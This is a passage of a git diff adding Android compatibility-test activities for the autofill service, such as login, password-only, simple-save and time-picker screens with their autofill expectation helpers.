+    public EditText mFavoriteColor;
+    private Button mSaveButton;
+    private Button mClearButton;
+    private FillExpectation mExpectation;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.optional_save_activity);
+
+        mAddress1 = (EditText) findViewById(R.id.address1);
+        mAddress2 = (EditText) findViewById(R.id.address2);
+        mCity = (EditText) findViewById(R.id.city);
+        mFavoriteColor = (EditText) findViewById(R.id.favorite_color);
+        mSaveButton = (Button) findViewById(R.id.save);
+        mClearButton = (Button) findViewById(R.id.clear);
+        mSaveButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                save();
+            }
+        });
+        mClearButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                resetFields();
+            }
+        });
+    }
+
+    /**
+     * Resets the values of the input fields.
+     */
+    private void resetFields() {
+        mAddress1.setText("");
+        mAddress2.setText("");
+        mCity.setText("");
+        mFavoriteColor.setText("");
+    }
+
+    /**
+     * Emulates a save action.
+     */
+    public void save() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Saved and sounded, please come again!");
+
+        startActivity(intent);
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(@Nullable String address1, @Nullable String address2,
+            @Nullable String city,
+            @Nullable String favColor) {
+        mExpectation = new FillExpectation(address1, address2, city, favColor);
+        if (address1 != null) {
+            mAddress1.addTextChangedListener(mExpectation.address1Watcher);
+        }
+        if (address2 != null) {
+            mAddress2.addTextChangedListener(mExpectation.address2Watcher);
+        }
+        if (city != null) {
+            mCity.addTextChangedListener(mExpectation.cityWatcher);
+        }
+        if (favColor != null) {
+            mFavoriteColor.addTextChangedListener(mExpectation.favoriteColorWatcher);
+        }
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, String, String, String)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        if (mExpectation.address1Watcher != null) {
+            mExpectation.address1Watcher.assertAutoFilled();
+        }
+        if (mExpectation.address2Watcher != null) {
+            mExpectation.address2Watcher.assertAutoFilled();
+        }
+        if (mExpectation.cityWatcher != null) {
+            mExpectation.cityWatcher.assertAutoFilled();
+        }
+        if (mExpectation.favoriteColorWatcher != null) {
+            mExpectation.favoriteColorWatcher.assertAutoFilled();
+        }
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeTextWatcher address1Watcher;
+        private final OneTimeTextWatcher address2Watcher;
+        private final OneTimeTextWatcher cityWatcher;
+        private final OneTimeTextWatcher favoriteColorWatcher;
+
+        private FillExpectation(@Nullable String address1, @Nullable String address2,
+                @Nullable String city, @Nullable String favColor) {
+            address1Watcher = address1 == null ? null
+                    : new OneTimeTextWatcher("address1", mAddress1, address1);
+            address2Watcher = address2 == null ? null
+                    : new OneTimeTextWatcher("address2", mAddress2, address2);
+            cityWatcher = city == null ? null : new OneTimeTextWatcher("city", mCity, city);
+            favoriteColorWatcher = favColor == null ? null
+                    : new OneTimeTextWatcher("favColor", mFavoriteColor, favColor);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/OutOfProcessLoginActivity.java
new file mode 100644
index 0000000..4cab12c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/OutOfProcessLoginActivity.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Activity;
+import android.autofillservice.cts.R;
+import android.content.Context;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Simple activity showing R.layout.login_activity. Started outside of the test process.
+ */
+public class OutOfProcessLoginActivity extends Activity {
+    private static final String TAG = "OutOfProcessLoginActivity";
+
+    private static OutOfProcessLoginActivity sInstance;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        Log.i(TAG, "onCreate(" + savedInstanceState + ")");
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.login_activity);
+
+        findViewById(R.id.login).setOnClickListener((v) -> finish());
+
+        sInstance = this;
+    }
+
+    @Override
+    protected void onStart() {
+        Log.i(TAG, "onStart()");
+        super.onStart();
+        try {
+            if (!getStartedMarker(this).createNewFile()) {
+                Log.e(TAG, "cannot write started file");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "cannot write started file: " + e);
+        }
+    }
+
+    @Override
+    protected void onStop() {
+        Log.i(TAG, "onStop()");
+        super.onStop();
+
+        try {
+            if (!getStoppedMarker(this).createNewFile()) {
+                Log.e(TAG, "could not write stopped marker");
+            } else {
+                Log.v(TAG, "wrote stopped marker");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "could write stopped marker: " + e);
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        Log.i(TAG, "onDestroy()");
+        try {
+            if (!getDestroyedMarker(this).createNewFile()) {
+                Log.e(TAG, "could not write destroyed marker");
+            } else {
+                Log.v(TAG, "wrote destroyed marker");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "could write destroyed marker: " + e);
+        }
+        super.onDestroy();
+        sInstance = null;
+    }
+
+    /**
+     * Get the file that signals that the activity has entered {@link Activity#onStop()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onStop()
+     */
+    @NonNull public static File getStoppedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "stopped");
+    }
+
+    /**
+     * Get the file that signals that the activity has entered {@link Activity#onStart()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onStart()
+     */
+    @NonNull public static File getStartedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "started");
+    }
+
+   /**
+     * Get the file that signals that the activity has entered {@link Activity#onDestroy()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onDestroy()
+     */
+    @NonNull public static File getDestroyedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "destroyed");
+    }
+
+    public static void finishIt() {
+        Log.v(TAG, "Finishing " + sInstance);
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
+    public static boolean hasInstance() {
+        return sInstance != null;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/PasswordOnlyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/PasswordOnlyActivity.java
new file mode 100644
index 0000000..8a1d307
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/PasswordOnlyActivity.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+public final class PasswordOnlyActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "PasswordOnlyActivity";
+
+    static final String EXTRA_USERNAME = "username";
+    static final String EXTRA_PASSWORD_AUTOFILL_ID = "password_autofill_id";
+
+    private TextView mWelcomeLabel;
+    private EditText mPasswordEditText;
+    private Button mLoginButton;
+    private String mUsername;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(getContentView());
+
+        mWelcomeLabel = findViewById(R.id.welcome);
+        mPasswordEditText = findViewById(R.id.password);
+        mLoginButton = findViewById(R.id.login);
+        mLoginButton.setOnClickListener((v) -> login());
+
+        mUsername = getIntent().getStringExtra(EXTRA_USERNAME);
+        final String welcomeMsg = "Welcome to the jungle, " + mUsername;
+        Log.v(TAG, welcomeMsg);
+        mWelcomeLabel.setText(welcomeMsg);
+        final AutofillId id = getIntent().getParcelableExtra(EXTRA_PASSWORD_AUTOFILL_ID);
+        if (id != null) {
+            Log.v(TAG, "Setting autofill id to " + id);
+            mPasswordEditText.setAutofillId(id);
+        }
+    }
+
+    protected int getContentView() {
+        return R.layout.password_only_activity;
+    }
+
+    public void focusOnPassword() {
+        syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
+    }
+
+    public void setPassword(String password) {
+        syncRunOnUiThread(() -> mPasswordEditText.setText(password));
+    }
+
+    public void login() {
+        final String password = mPasswordEditText.getText().toString();
+        Log.i(TAG, "Login as " + mUsername + "/" + password);
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/PreFilledLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/PreFilledLoginActivity.java
new file mode 100644
index 0000000..917cc4b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/PreFilledLoginActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+/**
+ * Same as {@link LoginActivity}, but with {@code username} and {@code password} fields pre-filled.
+ */
+public class PreFilledLoginActivity extends LoginActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.pre_filled_login_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/PreSimpleSaveActivity.java
new file mode 100644
index 0000000..02881cb
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/PreSimpleSaveActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * A simple activity that upon submission launches {@link SimpleSaveActivity}.
+ */
+public class PreSimpleSaveActivity extends AbstractAutoFillActivity {
+
+    public static final String ID_PRE_LABEL = "preLabel";
+    public static final String ID_PRE_INPUT = "preInput";
+
+    private static PreSimpleSaveActivity sInstance;
+
+    public TextView mPreLabel;
+    public EditText mPreInput;
+    public Button mSubmit;
+
+    public static PreSimpleSaveActivity getInstance() {
+        return sInstance;
+    }
+
+    public PreSimpleSaveActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.pre_simple_save_activity);
+
+        mPreLabel = findViewById(R.id.preLabel);
+        mPreInput = findViewById(R.id.preInput);
+        mSubmit = findViewById(R.id.submit);
+
+        mSubmit.setOnClickListener((v) -> {
+            finish();
+            startActivity(new Intent(this, SimpleSaveActivity.class));
+        });
+    }
+
+    public FillExpectation expectAutoFill(String input) {
+        final FillExpectation expectation = new FillExpectation(input);
+        mPreInput.addTextChangedListener(expectation.mInputWatcher);
+        return expectation;
+    }
+
+    public EditText getPreInput() {
+        return mPreInput;
+    }
+
+    public final class FillExpectation {
+        private final OneTimeTextWatcher mInputWatcher;
+
+        private FillExpectation(String input) {
+            mInputWatcher = new OneTimeTextWatcher("input", mPreInput, input);
+        }
+
+        public void assertAutoFilled() throws Exception {
+            mInputWatcher.assertAutoFilled();
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SecondActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SecondActivity.java
new file mode 100644
index 0000000..71ff7ed
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SecondActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.widget.TextView;
+
+/**
+ * Activity that is used to test restored mechanism will work while running below steps:
+ * 1. Taps span on the save UI to start the ViewActionActivity.
+ * 2. Launches the SecondActivity and immediately finish the ViewActionActivity.
+ * 3. Presses back key on the SecondActivity.
+ * The expected that the save UI should have been restored.
+ */
+public class SecondActivity extends AbstractAutoFillActivity {
+
+    private static SecondActivity sInstance;
+
+    private static final String TAG = "SecondActivity";
+    public static final String ID_WELCOME = "welcome";
+    public static final String DEFAULT_MESSAGE = "Welcome second activity";
+
+    public SecondActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.welcome_activity);
+
+        TextView welcome = (TextView) findViewById(R.id.welcome);
+        welcome.setText(DEFAULT_MESSAGE);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Setting sInstance to null onDestroy()");
+        sInstance = null;
+    }
+
+    public static void finishIt() {
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
+    public static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
+        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+                .isEqualTo(DEFAULT_MESSAGE);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleAfterLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleAfterLoginActivity.java
new file mode 100644
index 0000000..b247f5b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleAfterLoginActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Activity that displays a "Finished login activity!" message after login.
+ */
+public class SimpleAfterLoginActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "SimpleAfterLoginActivity";
+
+    public static final String ID_AFTER_LOGIN = "after_login";
+
+    private static SimpleAfterLoginActivity sCurrentActivity;
+
+    public static SimpleAfterLoginActivity getCurrentActivity() {
+        return sCurrentActivity;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_after_login_activity);
+
+        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
+        sCurrentActivity = this;
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
+        sCurrentActivity = null;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleBeforeLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleBeforeLoginActivity.java
new file mode 100644
index 0000000..3341adf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleBeforeLoginActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Activity that displays a "Launch login activity!" message before login.
+ */
+public class SimpleBeforeLoginActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "SimpleBeforeLoginActivity";
+
+    public static final String ID_BEFORE_LOGIN = "before_login";
+
+    private static SimpleBeforeLoginActivity sCurrentActivity;
+
+    public static SimpleBeforeLoginActivity getCurrentActivity() {
+        return sCurrentActivity;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_before_login_activity);
+
+        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
+        sCurrentActivity = this;
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
+        sCurrentActivity = null;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
new file mode 100644
index 0000000..1ba0b07
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * Simple activity that has an edit text and buttons to cancel or commit the autofill context.
+ */
+public class SimpleSaveActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "SimpleSaveActivity";
+
+    public static final String ID_LABEL = "label";
+    public static final String ID_INPUT = "input";
+    public static final String ID_PASSWORD = "password";
+    public static final String ID_COMMIT = "commit";
+    public static final String TEXT_LABEL = "Label:";
+
+    private static SimpleSaveActivity sInstance;
+
+    public TextView mLabel;
+    public EditText mInput;
+    public EditText mPassword;
+    public Button mCancel;
+    public Button mCommit;
+
+    private boolean mAutoCommit = true;
+    private boolean mClearFieldsOnSubmit = false;
+
+    public static SimpleSaveActivity getInstance() {
+        return sInstance;
+    }
+
+    public SimpleSaveActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_save_activity);
+
+        mLabel = findViewById(R.id.label);
+        mInput = findViewById(R.id.input);
+        mPassword = findViewById(R.id.password);
+        mCancel = findViewById(R.id.cancel);
+        mCommit = findViewById(R.id.commit);
+
+        mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
+        mCommit.setOnClickListener((v) -> onCommit());
+    }
+
+    private void onCommit() {
+        if (mClearFieldsOnSubmit) {
+            resetFields();
+        }
+        if (mAutoCommit) {
+            Log.d(TAG, "onCommit(): calling AFM.commit()");
+            getAutofillManager().commit();
+        } else {
+            Log.d(TAG, "onCommit(): NOT calling AFM.commit()");
+        }
+    }
+
+    private void resetFields() {
+        Log.d(TAG, "resetFields()");
+        mInput.setText("");
+        mPassword.setText("");
+    }
+
+    /**
+     * Defines whether the activity should automatically call {@link AutofillManager#commit()} when
+     * the commit button is tapped.
+     */
+    public void setAutoCommit(boolean flag) {
+        mAutoCommit = flag;
+    }
+
+    /**
+     * Defines whether the activity should automatically clear its fields when submit is clicked.
+     */
+    public void setClearFieldsOnSubmit(boolean flag) {
+        mClearFieldsOnSubmit = flag;
+    }
+
+    public FillExpectation expectAutoFill(String input) {
+        final FillExpectation expectation = new FillExpectation(input, null);
+        mInput.addTextChangedListener(expectation.mInputWatcher);
+        return expectation;
+    }
+
+    public FillExpectation expectAutoFill(String input, String password) {
+        final FillExpectation expectation = new FillExpectation(input, password);
+        mInput.addTextChangedListener(expectation.mInputWatcher);
+        mPassword.addTextChangedListener(expectation.mPasswordWatcher);
+        return expectation;
+    }
+
+    public EditText getInput() {
+        return mInput;
+    }
+
+    public final class FillExpectation {
+        private final OneTimeTextWatcher mInputWatcher;
+        private final OneTimeTextWatcher mPasswordWatcher;
+
+        private FillExpectation(String input, String password) {
+            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+            mPasswordWatcher = password == null
+                    ? null
+                    : new OneTimeTextWatcher("password", mPassword, password);
+        }
+
+        public void assertAutoFilled() throws Exception {
+            mInputWatcher.assertAutoFilled();
+            if (mPasswordWatcher != null) {
+                mPasswordWatcher.assertAutoFilled();
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerClockActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerClockActivity.java
new file mode 100644
index 0000000..46a1b67
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerClockActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class TimePickerClockActivity extends AbstractTimePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.time_picker_clock_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerSpinnerActivity.java
new file mode 100644
index 0000000..d4ad195
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerSpinnerActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class TimePickerSpinnerActivity extends AbstractTimePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.time_picker_spinner_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineForResultActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineForResultActivity.java
new file mode 100644
index 0000000..e11a723
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineForResultActivity.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity used to launch another activity for result.
+ */
+// TODO: move to common code
+public class TrampolineForResultActivity extends AbstractAutoFillActivity {
+    private static final String TAG = "TrampolineForResultActivity";
+
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+
+    private int mExpectedRequestCode;
+    private int mActualRequestCode;
+    private int mActualResultCode;
+
+    /**
+     * Starts an activity for result.
+     */
+    public void startForResult(Intent intent, int requestCode) {
+        mExpectedRequestCode = requestCode;
+        startActivityForResult(intent, requestCode);
+    }
+
+    /**
+     * Asserts the activity launched by {@link #startForResult(Intent, int)} was finished with the
+     * expected result code, or fails if it times out.
+     */
+    public void assertResult(int expectedResultCode) throws Exception {
+        final boolean called = mLatch.await(1000, TimeUnit.MILLISECONDS);
+        assertWithMessage("Result not received in 1s").that(called).isTrue();
+        assertWithMessage("Wrong actual code").that(mActualRequestCode)
+            .isEqualTo(mExpectedRequestCode);
+        assertWithMessage("Wrong result code").that(mActualResultCode)
+                .isEqualTo(expectedResultCode);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        Log.d(TAG, "onActivityResult(): req=" + requestCode + ", res=" + resultCode);
+        mActualRequestCode = requestCode;
+        mActualResultCode = resultCode;
+        mLatch.countDown();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineWelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineWelcomeActivity.java
new file mode 100644
index 0000000..0861c99
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineWelcomeActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity that launches a new {@link WelcomeActivity} and finishes right away.
+ */
+public class TrampolineWelcomeActivity extends AbstractAutoFillActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        startActivity(new Intent(this, WelcomeActivity.class));
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/UsernameOnlyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/UsernameOnlyActivity.java
new file mode 100644
index 0000000..d98633c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/UsernameOnlyActivity.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
